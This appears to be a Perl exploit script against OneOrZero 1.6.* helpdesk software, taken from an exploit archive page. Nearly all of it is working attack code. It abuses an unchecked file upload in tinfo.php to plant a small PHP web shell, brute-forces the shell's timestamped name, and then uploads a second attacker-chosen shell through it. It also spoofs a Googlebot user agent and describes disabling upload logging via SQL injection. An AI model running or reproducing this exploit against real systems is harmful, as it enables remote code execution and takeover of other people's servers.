|
#!/usr/bin/perl
=about
OneOrZero 1.6.* Perl exploit
AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com
VULN. DESCRIPTION:
In 'tinfo.php' script there are function
named uploadAttachment() through which
we are able to upload files.
It does not checks what the file
is uploaded.
EXPLOIT WORK:
First of all it uploads small shell,
then, due to unknown shell name,
it bruteforces it.
(Uploaded shell name is concatenation
of original filename,
unix timestamp and substracted
microseconds from time.)
Then it uploads new shell through
small shell.
(Script saves to DB what has been uploaded,
but if magic_quotes_gpc=off exploit
will disable this logging via SQl-inj.)
REQUIREMENTS:
Upload must be allowed.
PS:
With register_globals=on there are even more
vulnerabilities, starting from LFI till
remote code execution.
=cut
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
$| = 1;
&banner;
my $expl_url = shift or &usage;
my $tshell2 = shift;
&usage unless -f $tshell2;
my $tshell = q(<?php move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?print('ok1'):0;?>);
my $spider = LWP::UserAgent->new;
$spider->timeout(9);
$spider->max_redirect(0);
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
exploit($expl_url);
sub exploit {
$_ = shift;
my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
print "\n\tExploiting: $prot://$host$path\n";
my $req
= POST "$prot://$host$path/tinfo.php?id=999999",
Content_Type => 'form-data',
Content => [send_mail => 1,
SelectedFile => [ undef, 'by441e.php', 'Content_Type' => '\' text', 'Content' => $tshell ]
];
my $start_time = time();
my $res = $spider->request($req);
if (!$res->is_success) {
print "\tFailure...\n" . $res->status_line . "\n";
return 0;
}
if ($res->content !~ /by441e\.php/) {
print "\tFailure...\n";
return 0;
} else {
print "\n\tTest shell uploaded";
}
my $finish_time = time();
print "\n\tStarting bruteforce (start:${start_time}000 finish:${start_time}999)\n";
for my $sec ($start_time .. $finish_time) {
for my $micro ('000' .. '999') {
print "\t$prot://$host$path/attachments/$sec${micro}_by441e.php\r";
$res = $spider->request(HEAD "$prot://$host$path/attachments/$sec${micro}_by441e.php");
if ($res->status_line =~ /200/) {
print "\n\tFound one of shells...";
if (reload("$prot://$host$path/attachments/$sec${micro}_by441e.php")) {
print "\tShell: $prot://$host$path/attachments/sha.php\n";
}
return;
}
}
}
print "\n\tCould not find shell...\n";
}
sub reload {
my $addr = shift;
my $req
= POST $addr,
Content_Type => 'form-data',
Content => [ f => [ $tshell2, 'sha.php']];
my $res = $spider->request($req);
if ($res->content =~ /ok1/) {
print "new shell uploaded!\n";
return 1;
} else {
print "could not upload new shell.\n";
return 0;
}
}
sub usage {
print "
Provide url and shell what to upload.
Usage:
perl $0 http://example.com localshell.php
";
exit;
}
sub banner {
print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OneOrZero 1.6.* exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
";
}
|
| |
|
推荐
评论(0条)
